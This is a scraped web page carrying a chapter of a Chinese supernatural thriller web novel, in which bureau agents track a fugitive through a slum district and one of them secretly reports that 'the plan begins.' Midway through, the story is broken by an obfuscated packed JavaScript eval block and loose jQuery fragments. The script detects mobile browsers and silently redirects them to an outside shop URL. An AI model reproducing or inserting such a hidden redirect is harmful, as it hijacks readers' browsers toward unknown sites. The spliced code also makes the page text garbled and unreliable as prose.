文趣网 > 都市小说 > 恐怖管理局 > 22. 挑衅(2)
    秒针刚跳完第六十格,蓝溪亭倏然抬腕。

    一道金线自虚空中剥离开来,像烈日下悬停的蛛丝,薄得几乎发透,轻得没有惊动半分夜风,只静静缠上她食指根。另一端笔直刺出天台护栏,沉进了浓稠如墨的夜雾里。

    她眼底淬着的冰光晃了晃,唇角扯出个冷峭的弧度:“找到了,藏得还挺深。”

    关葭精神一振,指尖刚按通行动部加密频道,半句指令还没滚到舌尖,眼尾余光扫到的画面差点让她把通讯器捏碎——蓝溪亭单手撑着水泥护栏,足尖在边沿一点,整个人像收了翼的猎鹰,从五十多层的高楼直坠而下,转瞬就被楼底翻涌的雾与灯火吞得一干二净。

    风卷着她的话音飘上来,碎在关葭耳边:“我先去,赤焰凤蝶会给你们带路。”

    “不是老——”关葭把到了嘴边的“祖宗”两个字生生咽回去,扑到护栏边往下望,只剩满城夜风卷着湿冷的腥气,往她领口里灌。

    她咬着牙转身想找易野商量对策,头刚扭过去,原本站在三步外的人,竟也没了踪影。

    天台上只剩她一个人。

    关葭站在原地愣了三秒,满脑子问号几乎要溢出来。楼梯间的感应灯没亮,半点脚步声都没听见,易野一个没有异能的普通人,难不成还能凭空蒸发了?

    /

    下城区是雾城藏污纳垢的疮疤。

    巴掌大的地方,窄巷像盘根错节的蛛网,连片的老楼挤得密不透风,把天空割成了歪歪扭扭的碎条。

    墙上刷着二十年前的计划生育标语,墙角堆着淌着黄水的生活垃圾,电线杆上的寻人启事叠了三四层,最下面那张的边角已经被雨泡得发烂。

    三教九流都挤在这巴掌大的地方,有在逃的通缉犯,有没身份的黑户,有讨生活的普通人,也有一些说不清道不明、算不算“人”都两说的东西。

    蓝溪亭顺着金线的指引穿了三条暗巷,最后停在一间半明半暗的按摩店门口。

    头顶的霓虹灯牌滋滋啦啦响着,五颜六色的光转着圈往下扫,落在坑坑洼洼的水泥地上,像小孩破口袋里滚出来的水果糖,斑斓得刺眼,廉价得硌人。

    灯牌上四个大字烧灭了一个,剩下“诚按摩”三个字在夜色里亮得格外卖力。

    门口没有价目表,也没有项目介绍,只有扇半掩的防盗门,漆皮掉了大半,露出底下锈得发褐的铁皮。

    蓝溪亭抬了抬右手,食指上的金线绷得笔直,末端穿过门缝,直刺向楼道深处的黑暗。

    烧纸的味道混着熏香和消毒水的气味从缝里飘出来,刺鼻得人太阳穴突突直跳。

    她抬眼望向黑得像要淌出墨的楼道,刚要抬脚,口袋里的手机突然嗡嗡震起来。

    不用看也知道是关葭,无非是“等支援”“别冲动”“里面危险”几句车轱辘话。

    蓝溪亭摸出手机,指尖连屏幕都没碰,直接长按电源键关了机,塞回口袋时动作快得带起一阵风。

    刚迈出去半步,手腕突然被人从后面攥住了。

    她几乎是本能地反手扣住对方腕骨,侧身、拧腰、发力,整套擒拿动作行云流水,一秒就把人压得弯下了腰。

    那人半点反抗的力道都没有,连卸力的动作都不会,只闷哼了一声,声音压得很低,落在她耳里竟有几分熟悉。

    蓝溪亭低头看清那张拧得变了形的脸,手上力道瞬间松了:“你怎么在这?”

    易野揉着被拧得发疼的肩膀直起身,脸上表情混杂着吃痛和无辜,倒显得有几分好笑。

    他穿了件深灰色连帽卫衣,帽子耷拉在肩后,额前碎发被风吹得乱了,呼吸却稳得很,半点儿不像狂奔了几条巷追过来的。

    蓝溪亭的目光越过他肩头扫向空无一人的巷口,易野立刻懂了她的意思:“别找了,就我一个,关局他们最快还要五分钟。”

    蓝溪亭收回目光,眉峰微蹙,却没多问,只丢下句公事公办的冷话:“跟来了就别拖我后腿。”

    话音落时她已经绕到了按摩店侧边的窗下,贴着斑驳的墙皮抬眼望,窗缝里漏出一线暗红的光,像只半阖的眼,明明白白昭示着里面有人。

    易野悄无声息跟在她身后,看着她绷紧的下颌线,忽然笑了笑,声音压得很低:“放心。”

    蓝溪亭没接话,只伸手攥住了他的手腕。下一秒,两人像是被空气吞了似的,原地消失,再睁眼时已经站在了按摩店的客厅里。

    易野低头看了眼她刚攥过的手腕,蓝溪亭已经松了手,正抬眼扫视整个房间。

    易野拇指无意识蹭了蹭腕骨,那上面还留着她指尖的温度,比这满室冷意要烫得多。

    客厅的灯是暗沉的猩红色,像陈年的血从天花板泼下来,黏稠地糊在起了皮的墙纸上,落在人身上,仿佛淋了一层还没干透的血。

    掉漆的皮沙发靠在墙角,茶几上搁着半杯凉透的茶,烟灰缸歪在一边,烟蒂漫出来撒了半桌。

    没有人。

    蓝溪亭的目光几秒内扫过了整个房间:两居室的格局逼仄得要命,厨房窄得像个被踩扁的纸盒子,门半开着,里面黑黢黢的看不清东西。

    厕所门大敞着,同样没开灯,只有水龙头没关紧,滴滴答答的声响在死寂里敲得人耳膜发疼。

    唯独两间卧室的门关得死死的,门板上的油漆起了卷,像是有什么东西从里面反复抓挠过。

    她侧耳听了几秒,隐约能听见里面传来均匀的鼾声,还有人翻身时床板发出的轻响,规律得像刻意演出来的。

    蓝溪亭把食指竖在唇前,朝易野比了个噤声的手势,另一只手指了指靠右边的卧室。

    易野会意地点头,脚步轻得像猫,悄无声息挪到了门边。

    蓝溪亭握住冰凉的门把手,抬眼看向易野,他也已经攥住了另一侧的门把。

    蓝溪亭用口型数:一、二、三。

    两人同时拧动门锁,门没锁,悄无声息地滑开了。

    冷白色的光刃几乎是在门开的瞬间就在蓝溪亭左掌凝聚,刃尖泛着寒芒,直刺向门内——可房间里空无一人。

    蓝溪亭心里咯噔一声,知道中了调虎离山计,立刻转身冲向另一间卧室,却只看见易野站在敞开的窗户前,窗台上留着半个泥脚印,还沾着巷口的湿土。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579423|204159||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    易野听见动静猛地回头,脸上的警觉还没褪下去,嘴刚张开,蓝溪亭已经一把把他搡到一边,单手撑着窗台翻了出去,动作快得只剩一道残影。

    易野被推得踉跄了两步才站稳,走到窗边望着她的身影消失在巷口,没追。

    他从口袋里摸出手机,拨通了一个备注为空的号码,电话接通的瞬间,他只说了四个字:“计划开始。”

    那头沉默了一秒,传来个低沉的男声:“知道了。”

    /

    冷风灌进后巷狭窄的缝隙里,蓝溪亭落地时屈膝卸了力,足尖一点地面就弹射了出去。

    十几米外,穿皮夹克的男人像只受了惊的野兔,正以常人不可能达到的速度在迷宫似的巷子里乱窜,他脸上带着骇人的淤青,嘴角淌着血,显然刚才在按摩店里就已经受了伤。

    这人对下城区的路线熟得像刻在了骨头上,每一次转弯都分毫不差,像是在这些巷子里跑了几百上千次。

    蓝溪亭把速度提到了极致,却始终只能跟他保持十几米的距离,也不知道对方是用了什么异能,还是揣着什么能隐匿行踪的法器。

    两边全是挤得密不透风的居民楼,楼间距窄得只有两三米,有些人家窗户开着,里面飘出电视剧的对白声,还有锅铲撞在锅沿上的叮当响。

    有个穿睡衣的女人探出头倒垃圾,看见两道影子一追一逃窜过去,吓得哐当一声就把窗户关死了,连窗帘都拉得严严实实。

    蓝溪亭不敢贸然用异能攻击,怕误伤了住户,只能咬着牙死追。

    两人一前一后跑过了大半个下城区,她终于把人逼到了城郊那片烂尾楼前。

    这片工地烂尾了快十年,几栋光秃秃的混凝土框架戳在夜色里,钢筋从没浇完的楼板边缘伸出来,像某种大型动物枯朽的肋骨。

    地上全是碎砖和水泥块,踩上去硌得脚底生疼。

    那男人终于慢了半拍,像是被横在地上的钢筋绊了一下。

    蓝溪亭抓住机会抬手,刺目的闪电瞬间撕裂了夜幕,雪亮的光把整片空地照得如同白昼,拖着噼啪作响的电弧直劈向那男人的后心。

    可那道闪电在半空中像是撞上了一面无形的墙,竟猛地反弹了回来,速度比去时还要快上一倍。

    炽亮的光刺得蓝溪亭瞳孔骤缩,她立刻抬起另一只手,硬生生把反弹回来的闪电吞进了体内。

    电弧在她手臂上噼啪炸响了几秒,才顺着指尖散进了空气里。

    等她再抬眼时,空地上已经没了那男人的踪影。

    烂尾楼的黑影矗立在夜色里,像头沉默的巨兽,风穿过空荡的楼体,发出呜呜的声响,像谁在哭。

    蓝溪亭抬起右手,食指上的金线已经断了,断裂的那截正慢慢化成细碎的金色光屑,从她指节上飘下来,像一小撮被风吹散的余烬。

    赤焰凤蝶的追踪范围暂时有限,出了雾城就会断开。也就是说,那人已经逃出雾城了。

    她放下手,唇角慢慢勾了一下,那笑意半点温度都没有:“跑得还挺快。”

    不过没关系。

    下次,就没这么好的运气了。